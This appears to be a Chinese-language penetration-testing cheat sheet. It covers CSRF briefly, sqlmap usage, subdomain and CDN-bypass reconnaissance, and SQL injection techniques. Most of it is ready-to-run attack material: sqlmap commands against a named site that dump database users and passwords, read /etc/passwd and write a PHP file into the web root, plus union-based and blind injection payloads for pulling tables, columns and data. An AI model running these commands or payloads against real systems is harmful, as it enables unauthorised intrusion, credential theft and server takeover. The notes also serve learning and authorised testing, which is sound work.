# Csrf ：攻击者盗用了你的身份，以你的名义发送恶意请求。

登录受信任网站A，并在本地生成Cookie。2.在不登出A的情况下，访问危险网站B

改用只接受post数据

在提交表单进行hash 加密 在服务端进行hash验证 （如果用户Cookie没有被盗取）

# Sqlmap

-u #注入点

-f #指纹判别数据库类型

-b #获取数据库版本信息

-p #指定可测试的参数(?page=1&id=2 -p “page,id”)

-D “” #指定数据库名

-T “” #指定表名

-C “” #指定字段

-s “” #保存注入过程到一个文件,还可中断，下次恢复在注入(保存：-s “xx.log”　　恢复:-s “xx.log” –resume)

–columns #列出字段

–current-user #获取当前用户名称

–current-db #获取当前数据库名称

–users #列数据库所有用户

–passwords #数据库用户所有密码

–privileges #查看用户权限(–privileges -U root)

-U #指定数据库用户

–dbs #列出所有数据库

–tables -D “” #列出指定数据库中的表

***-v #详细的等级(0-6)***

0：只显示Python的回溯，错误和关键消息。

1：显示信息和警告消息。

2：显示调试消息。

3：有效载荷注入。

4：显示HTTP请求。

5：显示HTTP响应头。

6：显示HTTP响应页面的内容

1.读取数据库版本，当前用户，当前数据库

sqlmap -u http://www.91ri.org/ test.php?p=2 -f -b –current-user –current-db -v 1

2.判断当前数据库用户权限

sqlmap -u http://www.91ri.org/ test.php?p=2 –privileges -U 用户名 -v 1

sqlmap -u http://www.91ri.org/ test.php?p=2 –is-dba -U 用户名 -v 1

3.读取所有数据库用户或指定数据库用户的密码

sqlmap -u http://www.91ri.org/ test.php?p=2 –users –passwords -v 2

sqlmap -u http://www.91ri.org/ test.php?p=2 –passwords -U root -v 2

4.获取所有数据库

sqlmap -u http://www.91ri.org/ test.php?p=2 –dbs -v 2

5.获取指定数据库中的所有表

sqlmap -u http://www.91ri.org/ test.php?p=2 –tables -D mysql -v 2

6.获取指定数据库名中指定表的字段

sqlmap -u http://www.91ri.org/ test.php?p=2 –columns -D mysql -T users -v 2

7.获取指定数据库名中指定表中指定字段的数据

sqlmap -u http://www.91ri.org/ test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2

8.file-read读取web文件

sqlmap -u http://www.91ri.org/ test.php?p=2 –file-read “/etc/passwd” -v 2

9.file-write写入文件到web

sqlmap -u http://www.91ri.org/ test.php?p=2 –file-write /localhost/mm.php –file-dest /var/www/html/xx.php -v 2

**被动信息收集**

# 域名收集

收集其子域名：常用工具和方法，

子域名扫描工具，如：layer、kali下的fierce（首先*尝试域传送漏洞*，如果不成功再尝试暴力破解）

1、爬虫爬取页面源代码中的子域名 如：burp 带的Spider等。

2、在线子域名查询网站、 [T00ls](https://www.t00ls.net/ip.html)、站长之家，[等](http://i.links.cn/subdomain/)

3、[HTTPS](https://crt.sh) 证书搜集、ip反查、

# 查找其真实ip

**验证是否存在CDN**

* nslookup url ，存在的或返回多个ip相反返回一个ip
* 多地ping

<http://ping.chinaz.com/>

<http://ping.aizhan.com/> <http://ce.cloud.360.cn/>

* 使用各种其他工具 ，直接查询是否使用了CDN

<http://www.cdnplanet.com/tools/cdnfinder/> <http://www.ipip.net/ip.html>

**绕过CDN**

* 查看域名和ip绑定的历史 可能存在CDN 的记录 相关网站

<https://dnsdb.io/zh-cn/> <https://x.threatbook.cn/> <http://toolbar.netcraft.com/site_report?url>= <http://viewdns.info/>

* 查询子域名 毕竟 很多小站点又跟主站在同一台服务器或者同一个C段内，此时就可以通过查询子域名对应的 IP 来辅助查找网站的真实IP
* 利用

# SQL注入

数据库类型判断，一般asp 的网站大部分是ac 或者 SQL server，

http://www.mytest.com/showdetail.asp?id=49 ;and user>0

如果错误提示没有关闭，会报出用户名，如果是sa账号的话，会提示‘’dbo

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(\*) from sysobjects)>0

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(\*) from msysobjects)>0

如果数据库是SQLServer，那么第一个网址的页面与原页面http://www.mytest.com/showdetail.asp?id= 49是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。

如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。

### 基于bool的盲注

注入方法都需要网页可以显示查询数据的结果，而盲注适合页面不显示任何数据查询结果

1' and length(database())>5#

### 联合查询的注入 （字符型和数字型，搜索型注入）

数字型： SELECT 列 FROM 表 WHERE 数字型列=值

字符型： SELECT 列 FROM 表 WHERE 字符型列=’值’

搜索型： SELECT \* FROM 表 WHERE where 被搜索的列 like ‘%值%

字符型常常要考虑到单引号的闭合问题，

输入1'order by 1#，页面正常，然后输入1'order by 2#，依次增加，直到3时出现错误，说明当前表有两列 'union select 1,2#

利用内置函数暴出用户名 and 1=2 union select 1,user()

利用内置函数暴出数据库版本 and 1=2 union select 1,version()

利用内置函数暴出数据库名称and 1=2 union select 1,database()

暴出表名：and 1=2 union select 1,table\_name from information\_schema.tables where table\_schema=database()

暴出字段名：and 1=2 union select 1,group\_concat(column\_name) from information\_schema.columns where table\_name=0x64617461（必须是表名的十六进制表示）

暴出字段内容：and 1=2 union select 1,字段名 from 表名。

报出第一个表：(select table\_name from information\_schema.tables where table\_schema=database() limit 0,1 ) 改变0 即可查看其他表

group\_concat(select table\_name from information\_schema.tables where table\_schema=database())

concat(select table\_name from information\_schema.tables where table\_schema=database())

报出所有表明

name=1' union select 1,(select group\_concat(table\_name) from information\_schema.tables where table\_schema=database()),3 and '%'='

#### 搜索型注入 判断

'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='